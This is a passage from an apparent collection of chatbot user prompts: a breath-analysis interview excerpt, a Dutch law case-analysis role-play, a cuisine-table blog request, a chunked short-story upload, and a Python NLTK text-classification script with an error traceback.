patient’s\nhealth and are instead dependent on location. Studies attempting to\nidentify or validate prospective breath biomarkers would benefit from using\na breath collection station that removes contaminant VOCs from ambient\nair before supplying it the patient and minimises further ambient ingress.\nHowever, removing all contaminants is likely impossible, so collecting blank\nsamples for comparison to patient samples is also advised.\nFLG: In contrast, what are some of the advantages of breath analysis\ncompared to liquid biopsy & other diagnosis methods?\nBilly: Breath has many advantages. Firstly, it is inherently noninvasive\n– it is both pain- and risk-free. As collecting breath requires\nno special facilities or training, it’s compatible with a wide range of care contexts. Even patients complaining of acute breathlessness\nhave provided breath samples without discomfort. Breath testing’s\ncomparative acceptability would likely boost patient compliance.\nBreath is also inexhaustible. In essence, exhaled breath is a\nwaste product that the human body produces in large quantities\nconstantly. Conventional biopsy techniques rely upon harvesting\nand testing more finite resources. There are no limits that need\nto be placed on breath sample size, or frequency for ongoing\nmonitoring. To increase the sensitivity of breath testing you can\nalso use a breath sampler that captures and preconcentrates VOCs\n(such as on sorbent tubes), before analysis, discarding the unwanted\nbreath fractions – not a technique that could be easily replicated in\nblood or tissue biopsies.\nExisting biopsy techniques commonly aim to detect changes in\ngenetics or proteins. Breath biomarkers, in contrast, are typically\nproducts of metabolism. Many diseases can have significant\nmetabolic impacts with relatively minimal effects on the genetic or\nprotein complement of a cell.\nFLG: What are the main steps for establishing breath analysis in the\nsame way as liquid biopsy? What are the main challenges in getting\nbreath tests to the clinic and what will a breath test look like in\nclinical practice?\nBilly: After breath biomarkers have been validated and approved for\nuse as part of a specific test, a sensor device that’s sensitive to those\nspecific biomarkers can be developed. That will allow easy translation\nof those biomarkers into the clinic, or even the home. A sensor\ntechnology, such as field asymmetric ion mobility spectrometry\n(FAIMS), will allow cost-effective clinical or at-home breath testing,\nthat delivers clear and rapid diagnostic results at the point of care.\nBreath is almost entirely a new diagnostic category. Even once new\nbiomarkers have been sufficiently validated, as with all new tests, it\nwill take time for breath testing to be accepted and\nintegrated into clinical practice. However, the fact that\nbreath is completely non-invasive and patient friendly\nshould help to speed up adoption – especially for use\nwith vulnerable groups.\nIt is likely that any breath tests in the clinic will\nbe specific for one disease, or for differentiating\nbetween a group of similarly presenting conditions\nthat may nonetheless behave differently at a\nmetabolic level. In principle, simultaneously collecting\nbiomarkers from across the body in a breath sample\nwould allow breath sampling to be used to detect\nillnesses without any prior knowledge of what\ndiseases are present, or where in the body they are\nactive. However, in the short-term, specific tests\nfor specific diseases, with tailored sensors, can be\nexpected to reach the clinic sooner.' -"Lets play a game. Pretend to be lawyer that has been given the following task and you have to by all means perform with the best of your abilities as an experienced and knowledgeable lawyer. \n\nUsing the dutch civil code, propose a detailed resolution that applies contract, property and law principles. For example, we may use this article under the dutch civil code for tort law: Article 6:170 of the Dutch Civil Code: Liability for faults (tortious acts) of a subordinate. Find the all the details from the organised documents from the dossier analysis below. \n\nContract Law:\nOn the 18th of September 2007, Arion Corbin signed an employment contract for POSEIDON Global.\nOn the 20th of October 2018, Cecilia Vallejo (seller) had an agreement with Luce V. Monjeau (Buyer). Cecilia agrees to\nsell her female horse, Pegasus to Luce, and she agrees to buy Cecilia's horse for 5000€.\nFrom the 3rd of May 2010 up to the latest review which was the 3rd of May 2021, Poseidon electronics had created a\nsafety policy document. In which the policy was to ensure the safety of the individuals who operated vehicles from the\ncompany. This policy was reviewed after its first year and every year thereafter.\nAdditionally, from the 21st of June 2021 to the 5th of July 2021, there was a pre-contractual discussion between\nPoseidon Electronics and Megastores. Throughout the discussion, there was an agreement between Poseidon\nElectronics (seller), and Megastores London (buyer), to purchase 200 Samsung Televisions, Model: 65” Samsung Neo\nQLED 8K Smart TV (2021). The price per television was 2.000€, which gave a total price of 400.000€. However,\nMegastores London's first downpayment amounted to 30% of the total purchase price. If everything had been followed,\nthe delivery would be done, which took a time of 5 business days from the day of dispatching. Finally, on the 5th of July\n2021, Poseidon Electronics and Megastores London made the Sale, Purchase, and Delivery Agreement.\nOn the 6th of July 2021, Poseidon Electronics sent an invoice to Megastores London for the first payment which was\n144.300€.\nOn the 8th of July 2021, Megastores London sent Poseidon Electronics a confirmation of the first payment.\n\nContract Law: \nThe day after, 9th of July 2021, Stella, who was the truck dispatcher and logistics responsible for Poseidon Electronics\nassigned Arion to the new delivery of 200 televisions.\nStella then sent Arion an email with the details of the delivery he had to do, to which Arion replied by accepting the\ndelivery given to him. Furthermore, on the 9th of July 2021, Poseidon Electronics sent the shipment notification to\nMegastores London. During the days of the 9th and 10th of July 2021, Arion had a driver's log, where you could see his\ndriving times, and some notes about the destinations he had to go to.\nOn the 12th of July 2021, Poseidon Electronics sent an email to Megastores London, informing them about the\ninvolvement of an accident with the driver that delivered the televisions, additionally, also mentioned the goods that\ngot stolen the morning after the accident. Therefore, Poseidon Electronics said they could not satisfy the demands at\nthat moment. Megastores London answered by saying that there's a contract in place, and they will act according to its\nprovisions. As there was a down payment made; as well as, they trusted Poseidon Electronics for the purchase, and they\nchose it amongst other competitors because of the great reputation the company holds.\nLastly, on the 26th of July 2021, Poseidon Electronics made an internal memorandum, where they mention how it is\nnot profitable for the company to continue with Megastores, therefore, they mention that they believe their best option\nis to end the contract with Megastores.\nProperty Law:\nOn the 22nd of June 2019, Philip Cheng received his Certificate of ownership of the parking lot named Parking d'Arras,\nwhich certified that he was the registered owner of the parking space. Moreover, on the 10th of July 2021 around 22:30\npm, Arion, a truck driver had a car accident close to the parking lot. He was in charge of taking the 200 Samsung\nTelevisions to London, UK. After the accident, Arion was very tired; therefore, he thought parking in the Parking\nd'Arras was the best option as it was the closest place near him, where he parked his truck and slept. The morning after,\n11th of July 2021, he found out that they had broken into his truck and had stolen 100 of those televisions.\nFollowing up on those days, on the 13th of July 2021, 20 televisions had been found by the team in the electronic shop\nLe Monde Electro. However, the owner of the shop informed the team that part of those stolen televisions had already\nbeen sold, consequently, the remaining televisions were confiscated and returned to the owner, Poseidon Electronics.\nThe day after, 14th of July 2021, the team identified all the buyers of the stolen televisions and communicated the list of\nnames and contact details to Poseidon Electronics.\nOn the 15th of July 2021, Poseidon Electronics emailed Ms. Lapierre as she was in possession of a Samsung Television.\nThrough that email, she had been informed about the unlawfully sold television by Le Monde Electro and that she had\nto return it. She was told that if she did not cooperate by returning the television, then the matter would be given to the\npolice. Moreover, Poseidon Electronics offered to pick up the television free of charge within two days.\nLastly, on the 17th of July 2021, there was a call between Ms. Lapierre and Poseidon Electronics.\nMs. Lapierre phoned Poseidon Electronics customer service, where Thomas was the employee who attended the phone\ncall. During this phone call, Ms. Lapierre was in a disagreement with Poseidon Electronics, as she did not want to return\nthe television as she does not get reimbursed nor got to keep the television. Therefore as she did not want to cooperate,\nThomas (the customer service), informed Ms. Lapierre that the matter was going to be turned over to the police.\n\nTort Law:\nOn 10 July 2021, a 40-year-old police officer named, Yousra Williams, had been attacked by a Burmese python while\nshe was reporting a car incident. She was found to have multiple right-sided rib fractures, as well as marks of snakebite.\nThe snake was Arion's 3-meter pet Burmese python, which he had brought with him along on his delivery.\nOn the 11th of July 2021, Arion explained that after several hours into its drive from Poseidon Electronics Warehouse,\nhe decided to pull off the highway to rest. As he was looking for a place where to rest, two of the live mice he had\nbrought along to feed his pet, escaped from their cage and ran up his arm. Therefore, he took both hands off the\nwheel in an attempt to catch the mice. However, due to that reaction, the truck drifted to the right and collided with a\nparked horse trailer. As a consequence, the truck was slightly damaged; on the other hand, the horse trailer was\ndestroyed and the horse inside it, named Pegasus, was badly injured.\nThe morning after the accident, Arion calls Stella and tells her about the accident he had, and how they had to put the\nhorse down because of its injuries.\nAfter the loss of the horse of the owner, he had to go to therapy, which cost 240€.\nIn addition, the bill cost of medical care was 105€ and as she had PTSD, her therapy cost 200€.\nLastly, on the 19th of July 2021, Megastores London sent a letter of claim to Poseidon Electronics. In the letter,\nMegastores London mentions three specific claims, (1) Loss of profits, amounting to EUR 800.000,00. (2) Loss of\nopportunity, amounting to EUR 10.000.000,00. (3) Loss of reputation, amounting to EUR 50.000.000,00." -'Can you convert this table content in a interesting blog content. Ensure the output is well formatted using markdown, use H3, H3, bullet properly.\n\nfor each country follow the following format\n\n## Country Name\nIntro text about geographic location.\n## Important Features\n### Staple Food\n### Key dishes of different courses\n\nHere is the text in markdown I want you to work with.\n\n| Country | Geographic Location | 5 Important Features | Staple Food | 10 important dishes of different courses |\n| --- | --- | --- | --- | --- |\n| United Kingdom | Europe, comprises of Scotland, Iceland, Wales and England. | • Use of lard is predominant.\n• Pies and pastries are popular.\n• Mostly inspired by the colonies.\n• Sausages like Haggis are widespread.\n• Alcoholic spirits are predominantly used as an aid to cooking. | • Offal\n• Meat\n• Milk\n• Vegetables like leeks, onions, garlic and leeks.\n• Butter\n• Cheese\n• Oats\n• Barley\n• Potatoes | 1. Fish and Chips\n2. Shepherds’ Pie\n3. Cornish Pastry\n4. Yorkshire Pudding\n5. Welsh Rarebit\n6. Roast Beef\n7. Cumberland Sausage\n8. Bread and butter Pudding\n9. Scones\n10. Fruit Trifle |\n| Italy | Southern Europe | • Coffee , specifically espresso is served after meals.\n• Italian meals are accompanied by wine.\n• Olive oil is a major cooking medium, it is also used as a flavouring agent.\n• Starch-based products like Pasta, pizza and bread are the major source of carbohydrates. | • Tomatoes\n• Duram Wheat\n• Olive oil\n• Cheese\n• Meat\n• Poultry\n• Herbs\n• Garlic | 1. Minestrone\n2. Frito Miso\n3. Polenta\n4. Pizza\n5. Spagetti Carbonara\n6. Tiramisu\n7. Panettone\n8. Bistteccaalla Florentina\n9. Zabaglione\n10. Ricotta Gnudi |\n| France | South-western Europe | • Baked goods are widely used\n• Stock serves as an Important base for most sauces and all soups\n• Finesse is key to the french style of cooking\n• Garnishes and accompaniments are very important\n• The courses and structure of the menu are adhered to strictly. | • Eggs\n• Herbs\n• Mustard\n• Wine\n• Bread\n• Meat\n• Poultry\n• Sea Food\n• Stock | 1. Moules el sauce\n2. Chicken Cordon Bleu\n3. Mussels a la mariniere\n4. Beef Bourguignon\n5. Pork tenderloin\n6. Coq Au Vin\n7. Poulet Parisienne\n8. Salmon and Swiss Chard Quiche\n9. Mille Feuille\n10. Creme Brûlée |\n| Spain | South-western Europe | • Various condiments and spices are used.\n• La Comida is a large midday meal\n• Snacks and appetizers referred to as Tapas are extremely popular.\n• Large amounts of tomatoes.\n• Saffron is used to flavor many dishes. | • Tomatoes\n• Milk\n• Seafood\n• Meat\n• Poultry\n• Rice\n• Olive oil\n• Forcemeat | 1. Gazpacho\n2. Tortillas\n3. Pintxos\n4. Paella\n5. Cat soup\n6. Ox- tail stew\n7. Cod Tavias\n8. Churros\n9. Flan\n10. Torrija |\n| Portugal | South-western Europe | • Seafood is consumed in large quantities\n• Highly influenced by the colonial era, Mediterranean influences are also found\n• Spices like peri-peri are widely used\n• Herbs like bay leaves and parsley are important.\n• Olive oil is the basis of most dishes | • Sea food\n• Cheese\n• Meat\n• Poultry\n• Vegetabes like Tomatoes, cabbage and onions\n• Starch from potatoes and rice\n• Garlic\n• Olive oil\n• Peri-peri spice | 1. Caldo Verde\n2. Bica\n3. Chourico\n4. Arroz doce\n5. Enchidos\n6. Maranahos\n7. Mariscos\n8. Pasties de Nata\n9. Barriga de friera\n10. Doce de Cila |\n| Scandinavia | Sweden , Denmark , Norway | • Three meals a day and a coffee break are chosen food routines\n• High intake of buttermilk and sour cream\n• Preserved food is a common choice\xa0\n• Spices are not widely consumed\n• Cold Smorgasbord is usually part of a lunch or dinner setup | • Fish\n• Cabbage\n• Whole wheat bread\n• Cheese\n• Potato\n• Biscuits\n• Cookies\n• Forcemeat\n• Herring | 1. Biksemad\n2. Salmon\n3. Steak and Potatoes\n4. Salmon Sushi with Barley, Rice\n5. Frikadeller\n6. Kraftor med dill\n7. Stekt Stromming\n8. Dillkott\n9. Tjalknol\n10. Rostad Hjortstek |\n| Germany | Western Europe | • Adopted many cooking methods from Italy and France\n• Preservation is used in many ways\n• Herbs like parsley celery and dill are used\n• Spices like Juniper berries, horseradish and mustard are used\n• All forms of dairy are used | • Pork\n• Sausages\n• Potatoes\n• Bread\n• Cabbage\n• Trout\n• Apple\n• Meat\n• Cold cuts\n• Preserves\n• Cheese | 1. Currywurst\n2. Frikadellen (German meat balls)\n3. German Bienenstich\n4. Apfelstrudel\n5. Kartoffelsalat\n6. Kasekuchen\n7. WeisseBohnensuppe\n8. Bratwurst\n9. Kartoffelknödeln\n10. Rotkohl |\n| Middle East | Egypt, Iran, Iraq, Turkey, Saudi Arabia, Yemen, Syria, United Arab Emirates, Israel, Jordan, Palestine, Lebanon, Oman, Kuwait, Qatar, Bahrain | • Bulghur cracked wheat, which is husk removed, steamed and crushed wheat; is the most common form of wheat.\n• Olive oil is an important ingredient\xa0\n• Coriander is an essential spice.\n• Elaborate dips are used with most dishes\n• Food is consumed, Communally | • Wheat\n• Lamb\n• Mutton\n• Cheese\n• Eggplant\n• Melon\n• Nuts\n• Dips like hummus, tabbouleh, mutabbal | 1. Shorbat adas\n2. Fattoush\n3. Falafel\n4. Menamen\n5. Pogaca\n6. Pilaf\n7. Arak\n8. Kunafeh\n9. Qatayef\n10. Qara’ ‘Asali |\n| Oriental | China, Vietnam, Laos, Korea, Japan | • Aniseed, Chinese prickly ash seed, and cinnamon are used to add aroma\n• Soy sauce, vinegar, sugar and salt are used in varying quantities to produce distinctive flavors according to regions\n• Thai food has coconut oil, and fresh herbs as important ingredient\xa0\n• Vietnamese cuisine focuses on a harmony of spices, sourness, salt, sweet and bitter\n• Stir-frying, steaming and deep-frying are common cooking methods. | • Rice\n• Soy\n• Bok choy\n• Mint\n• Cilantro\n• Basil\n• Mutton\n• Tea\n• Sea food\n• Mung beans | 1. Bun cha\n2. Teriyaki rib eye steaks\n3. Oyako Donburi\n4. Cha ca\n5. Bun bon am bo\n6. Roast squab\n7. Yeung Chow\n8. Dau Fu Fa\n9. Sai mai lo\n10. Braised Abalone |\n| Mexican | Latin America | • Chilli is the main stimulant for taste\n• Cumin, cinnamon, cloves, coriander are used as essential flavouring agents\n• Eggs are widely used for cooking\n• Tortillas, the bread in Mexico is eaten in every meal\xa0\n• Jalapeno is predominant spice | • Beans\n• Rice\n• Meat\n• Corn\n• Chilli\n• Habaneros\n• Jalapeños\n• Poultry | 1. Enchiladas\n2. Fajita\n3. Chimichanga\n4. Chorizo\n5. Pork and poblano\n6. Chocinita pibil\n7. Capirotada\n8. Cabrito\n9. Mojarra Frita\n10. Birria |\n| Arabic | Eastern Arabia, Morocco, The Levant, Libya, Tunisia, Algeria, Somalia, Sudan | • Butter and cream are extensively used\n• Sesame, black pepper, saffron, turmeric, garlic, cumin are principal spices.\n• Nuts are used in preparation as well as snacks\n• Olive oil is an important ingredient\xa0\n• Parsley, coriander and mint are regular seasonings | • Coffee\n• Rice\n• Wheat\n• Lentils\n• Meat from large animals | 1. Kabsa\n2. Tilapia filet\n3. Syrian oven potato\n4. Sheikh al Mihshi\n5. Mejaddara of rice\n6. Mohallabiah\n7. Khabeesa\n8. Mafruka\n9. Oyoun el-maha\n10. Ghoraybah |\n\nPlease write in English language.' -'=== INSTRUCTIONS ===\nYour task is ONLY to confirm receipt of this chunk, chunk 3/3, and not generate any text. You have now received all the chunks. Please wait for further instructions.\n=== SCRIPT CHUNK 3/3 ===\n wishing it were Ujunwa; the Zimbabwean said Edward’s eyes were always leering when he looked at Ujunwa; the white South African said Edward would never look at a white woman like that because what he felt for Ujunwa was a fancy without respect. “You all noticed?” Ujunwa asked them. “You all noticed?” She felt strangely betrayed. She got up and went to her cabin. She called her mother, but the metallic voice kept saying “The number you are calling is not available at the moment, please try later,” and so she hung up. She could not write. She lay in bed and stayed awake for so long that when she finally fell asleep, it was dawn. That evening, the Tanzanian read an excerpt of his story about the killings in the Congo, from the point of view of a militiaman, a man full of prurient violence. Edward said it would be the lead story in the Oratory, that it was urgent and relevant, that it brought news. Ujunwa thought it read like a piece from The Economist with cartoon characters painted in. But she didn’t say that. She went back to her cabin and, although she had a stomachache, she turned on her laptop. As Chioma sits and stares at Yinka, settled on the alhaji’s lap, she feels as if she is acting a play. She wrote plays in secondary school. Her class staged one during the school’s anniversary celebration and, at the end, there was a standing ovation and the principal said, “Chioma is our future star!” Her father was there, sitting next to her mother, clapping and smiling. But when she said she wanted to study literature in university, he told her it was not viable. His word, “viable.” He said she had to study something else and could always write on the side. The alhaji is lightly running a finger over Yinka’s arm and saying, “But you know Savanna Union Bank sent people to me last week.” Yinka is still smiling and Chioma wonders whether her cheeks are aching. She thinks about the stories in a metal box under her bed. Her father read them all and sometimes he wrote in the margins: Excellent! Cliché! Very good! Unclear! It was he who had bought novels for her; her mother thought novels a waste of time and felt that all Chioma needed were her textbooks. Yinka says, “Chioma!” and she looks up. The alhaji is talking to her. He looks almost shy and his eyes do not meet hers. There is a tentativeness toward her that he does not show toward Yinka. “I am saying you are too fine. Why is it that a Big Man has not married you?” Chioma smiles and says nothing. The alhaji says, “I have agreed that I will do business with Merchant Trust but you will be my personal contact.” Chioma is uncertain what to say. “Of course,” Yinka says. “She will be your contact. We will take care of you. Ah, thank you, sir!” The alhaji gets up and says, “Come, come, I have some nice perfumes from my last trip to London. Let me give you something to take home.” He starts to walk inside and then turns. “Come, come, you two.” Yinka follows. Chioma gets up. The alhaji turns again toward her, to wait for her to follow. But she does not follow. She turns to the door and opens it and walks out into the bright sunlight and past the Jeep in which the driver is sitting with the door hanging open, listening to the radio. “Aunty? Aunty, something happen?” he calls. She does not answer. She walks and walks, past the high gates and out to the street where she gets in a taxi and goes to the office to clear out her almost-empty desk. Ujunwa woke up to the crashing sound of the sea, to a nervous clutch in her belly. She did not want to read her story tonight. She did not want to go to breakfast, either, but she went anyway and said a general good morning with a general smile. She sat next to the Kenyan and he leaned toward her and whispered that Edward had just told the Senegalese that he had dreamed of her naked navel. Naked navel. Ujunwa watched the Senegalese, delicately raising her teacup to her lips, sanguine, looking out at the sea. Ujunwa envied her confident calm. She felt upset, too, to hear that Edward was making suggestive remarks to someone else, and she wondered what her pique meant. Had she come to see his ogling as her due? She was uncomfortable thinking about this, about reading that night, and so in the afternoon, lingering over lunch, she asked the Senegalese what she had said when Edward spoke of her naked navel. The Senegalese shrugged and said no matter how many dreams the old man had, she would still remain a happy lesbian and there was no need to say anything to him. “But why do we say nothing?” Ujunwa asked. She raised her voice and looked at the others. “Why do we always say nothing?” They looked at one another. The Kenyan told the waiter that the water was getting warm and could he please get some more ice. The Tanzanian asked the waiter where in Malawi he was from. The Kenyan asked him if the cooks, too, were from Malawi as all the waiters seemed to be. Then the Zimbabwean said she did not care where the cooks were from because the food at Jumping Monkey Hill was simply sickening, all that meat and cream. Other words tumbled out and Ujunwa was not sure who said what. Imagine an African gathering with no rice and why should beer be banned at the dinner table just because Edward thought wine was proper and breakfast at eight was too early, never mind that Edward said it was the “right” time and the smell of his pipe was nauseating and he had to decide which he liked to smoke, anyway, and stop rolling cigarettes halfway through a pipe. Only the black South African remained silent. He looked bereft, hands clasped in his lap, before he said that Edward was just an old man who meant no harm. Ujunwa shouted at him, “This kind of attitude is why they could kill you and herd you into townships and require passes from you before you could walk on your own land!” Then she stopped herself and apologized. She should not have said that. She had not meant to raise her voice. The Black South African shrugged, as if he understood that the devil would always do his work. The Kenyan was watching Ujunwa. He told her, in a low voice, that she was angry about more than just Edward and she looked away and wondered if “angry” was the right word. Later, she went to the souvenir shop with the Kenyan and the Senegalese and the Tanzanian and tried on jewelry made of faux ivory. They teased the Tanzanian about his interest in jewelry— perhaps he was gay, too? He laughed and said his possibilities were limitless. Then he said, more seriously, that Edward was connected and could find them a London agent; there was no need to antagonize the man, no need to close doors to opportunity. He, for one, didn’t want to end up at that dull teaching job in Arusha. He was speaking as though to everyone, but his eyes were on Ujunwa. Ujunwa bought a necklace and put it on and liked the look of the white, tooth-shaped pendant against her throat. That evening Isabel smiled when she saw it. “I wish people would see how faux ivory looks real and leave the animals alone,” she said. Ujunwa beamed and said that it was in fact real ivory and wondered whether to add that she had killed the elephant herself during a royal hunt. Isabel looked startled, then pained. Ujunwa fingered the plastic. She needed to be relaxed, and she said this to herself over and over, as she started to read from her story. Afterwards, the Ugandan spoke first, saying how strong a story it was, how believable, his confident tone surprising Ujunwa even more than his words. The Tanzanian said she captured Lagos well, the smells and sounds, and it was incredible how similar Third World cities were. The white South African said she hated that term, Third World, but had loved the realistic portrayal of what women were going through in Nigeria. Edward leaned back and said, “It’s never quite like that in real life, is it? Women are never victims in that sort of crude way and certainly not in Nigeria. Nigeria has women in high positions. The most powerful cabinet minister today is a woman.” The Kenyan cut in and said he liked the story but didn’t believe Chioma would give up the job; she was, after all, a woman with no other choices, and so he thought the ending was implausible. “The whole thing is implausible,” Edward said. “This is agenda writing, it isn’t a real story of real people.” Inside Ujunwa, something shrank. Edward was still speaking. Of course one had to admire the writing itself, which was quite mah-ve-lous. He was watching her, and it was the victory in his eyes that made her stand up and start to laugh. The participants stared at her. She laughed and laughed and they watched her and then she picked up her papers. “A real story of real people?” she said, with her eyes on Edward’s face. “The only thing I didn’t add in the story is that after I left my coworker and walked out of the alhaji’s house, I got into the Jeep and insisted that the driver take me home because I knew it was the last time I would be riding in it.” There were other things Ujunwa wanted to say, but she did not say them. There were tears crowding up in her eyes but she did not let them out. She was looking forward to calling her mother, and as she walked back to her cabin, she wondered whether this ending, in a story, would be considered plausible.\n=== END OF CHUNK ===' -'import pandas as pd\nimport numpy as np\nimport re\nimport nltk\nnltk.download(\'omw\')\nnltk.download(\'wordnet\')\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word\\_tokenize\nfrom nltk.stem import WordNetLemmatizer\nfrom sklearn.feature\\_extraction.text import TfidfVectorizer\nfrom sklearn.model\\_selection import KFold\nfrom sklearn.utils.class\\_weight import compute\\_class\\_weight\nfrom sklearn.svm import SVC\nfrom sklearn.metrics import f1\\_score\nfrom tqdm import tqdm\n\n# Set seed value\nnp.random.seed(42)\n\n# Load data\ntrain\\_df = pd.read\\_csv(\'train.csv\')\ntest\\_df = pd.read\\_csv(\'test.csv\')\n\n# Compute class weights\nclass\\_weights = compute\\_class\\_weight(class\\_weight=\'balanced\', classes=np.unique(train\\_df[\'label\']), y=train\\_df[\'label\'])\n\n# Define text pre-processing functions\ndef preprocess\\_text(text):\n # Remove non-alphabetic characters\n text = re.sub(r\'[^a-zA-Z\\s]\', \'\', text)\n # Convert to lowercase\n text = text.lower()\n # Tokenize\n tokens = word\\_tokenize(text)\n # Remove stopwords\n tokens = [token for token in tokens if token not in stopwords.words(\'english\')]\n # Lemmatize\n lemmatizer = WordNetLemmatizer()\n tokens = [lemmatizer.lemmatize(token) for token in tokens]\n # Join tokens back into a string\n text = \' \'.join(tokens)\n return text\n\n# Preprocess train and test text data\ntrain\\_df[\'text\'] = train\\_df[\'text\'].apply(preprocess\\_text)\ntest\\_df[\'text\'] = test\\_df[\'text\'].apply(preprocess\\_text)\n\n# Define KFold cross-validation\nkf = KFold(n\\_splits=5, shuffle=True, random\\_state=42)\n\n# Define TF-IDF vectorizer\ntfidf = TfidfVectorizer()\n\n# Initialize F1 scores\nf1\\_scores = []\n\n# Train and evaluate model for each fold\nfor fold, (train\\_index, val\\_index) in enumerate(kf.split(train\\_df)):\n # Get train and validation data\n X\\_train, y\\_train = train\\_df.iloc[train\\_index][\'text\'], train\\_df.iloc[train\\_index][\'label\']\n X\\_val, y\\_val = train\\_df.iloc[val\\_index][\'text\'], train\\_df.iloc[val\\_index][\'label\']\n\n # Compute TF-IDF features\n X\\_train\\_tfidf = tfidf.fit\\_transform(X\\_train)\n X\\_val\\_tfidf = tfidf.transform(X\\_val)\n\n # Train SVM model with class weights\n svm = SVC(class\\_weight={i: w for i, w in enumerate(class\\_weights)}, kernel=\'linear\', random\\_state=42)\n svm.fit(X\\_train\\_tfidf, y\\_train)\n\n # Evaluate on validation set\n y\\_val\\_pred = svm.predict(X\\_val\\_tfidf)\n f1 = f1\\_score(y\\_val, y\\_val\\_pred, average=\'weighted\')\n f1\\_scores.append(f1)\n print(f\'Fold {fold+1} F1 score: {f1:.4f}\')\n\n # Save predictions on test set for this fold\n X\\_test\\_tfidf = tfidf.transform(test\\_df[\'text\'])\n y\\_test\\_pred = svm.predict(X\\_test\\_tfidf)\n test\\_df[f\'fold{fold+1}\'] = y\\_test\\_pred\n\n# Compute average F1 score\nprint(f\'Average F1 score: {np.mean(f1\\_scores):.4f}\')\n\n# Ensemble predictions from all folds\ntest\\_df[\'label\'] = test\\_df[[f\'fold{fold+1}\' for fold in range(5)]].mode(axis=1)[0]\n\n# Save predictions to file\n\ntest\\_df[[\'id\', \'label\']].to\\_csv(\'./0316\\_test.csv\', index=False)\n\nat this code \n\n---------------------------------------------------------------------------\nLookupError Traceback (most recent call last)\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 83 try:\n---> 84 root = nltk.data.find(f"{self.subdir}/{zip\\_name}")\n 85 except LookupError:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\data.py in find(resource\\_name, paths)\n 582 resource\\_not\\_found = f"\\n{sep}\\n{msg}\\n{sep}\\n"\n--> 583 raise LookupError(resource\\_not\\_found)\n 584 \n\nLookupError: \n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n Resource omw-1.4 not found.\n Please use the NLTK Downloader to obtain the resource:\n\n >>> import nltk\n >>> nltk.download(\'omw-1.4\')\n \n For more information see: https://www.nltk.org/data.html\n\n Attempted to load corpora/omw-1.4.zip/omw-1.4/\n\n Searched in:\n - \'C:\\\\Users\\\\rockr/nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\share\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\lib\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\AppData\\\\Roaming\\\\nltk\\_data\'\n - \'C:\\\\nltk\\_data\'\n - \'D:\\\\nltk\\_data\'\n - \'E:\\\\nltk\\_data\'\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nDuring handling of the above exception, another exception occurred:\n\nLookupError Traceback (most recent call last)\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\2365515882.py in \n 43 \n 44 # Preprocess train and test text data\n---> 45 train\\_df[\'text\'] = train\\_df[\'text\'].apply(preprocess\\_text)\n 46 test\\_df[\'text\'] = test\\_df[\'text\'].apply(preprocess\\_text)\n 47 \n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\series.py in apply(self, func, convert\\_dtype, args, \\*\\*kwargs)\n 4431 dtype: float64\n 4432 """\n-> 4433 return SeriesApply(self, func, convert\\_dtype, args, kwargs).apply()\n 4434 \n 4435 def \\_reduce(\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\apply.py in apply(self)\n 1086 return self.apply\\_str()\n 1087 \n-> 1088 return self.apply\\_standard()\n 1089 \n 1090 def agg(self):\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\apply.py in apply\\_standard(self)\n 1141 # List[Union[Callable[..., Any], str]]]]]"; expected\n 1142 # "Callable[[Any], Any]"\n-> 1143 mapped = lib.map\\_infer(\n 1144 values,\n 1145 f, # type: ignore[arg-type]\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\\\_libs\\lib.pyx in pandas.\\_libs.lib.map\\_infer()\n\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\2365515882.py in preprocess\\_text(text)\n 37 # Lemmatize\n 38 lemmatizer = WordNetLemmatizer()\n---> 39 tokens = [lemmatizer.lemmatize(token) for token in tokens]\n 40 # Join tokens back into a string\n 41 text = \' \'.join(tokens)\n\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\2365515882.py in (.0)\n 37 # Lemmatize\n 38 lemmatizer = WordNetLemmatizer()\n---> 39 tokens = [lemmatizer.lemmatize(token) for token in tokens]\n 40 # Join tokens back into a string\n 41 text = \' \'.join(tokens)\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\stem\\wordnet.py in lemmatize(self, word, pos)\n 43 :return: The lemma of `word`, for the given `pos`.\n 44 """\n---> 45 lemmas = wn.\\_morphy(word, pos)\n 46 return min(lemmas, key=len) if lemmas else word\n 47 \n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_getattr\\_\\_(self, attr)\n 119 raise AttributeError("LazyCorpusLoader object has no attribute \'\\_\\_bases\\_\\_\'")\n 120 \n--> 121 self.\\_\\_load()\n 122 # This looks circular, but its not, since \\_\\_load() changes our\n 123 # \\_\\_class\\_\\_ to something new:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 87 \n 88 # Load the corpus.\n---> 89 corpus = self.\\_\\_reader\\_cls(root, \\*self.\\_\\_args, \\*\\*self.\\_\\_kwargs)\n 90 \n 91 # This is where the magic happens! Transform ourselves into\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\reader\\wordnet.py in \\_\\_init\\_\\_(self, 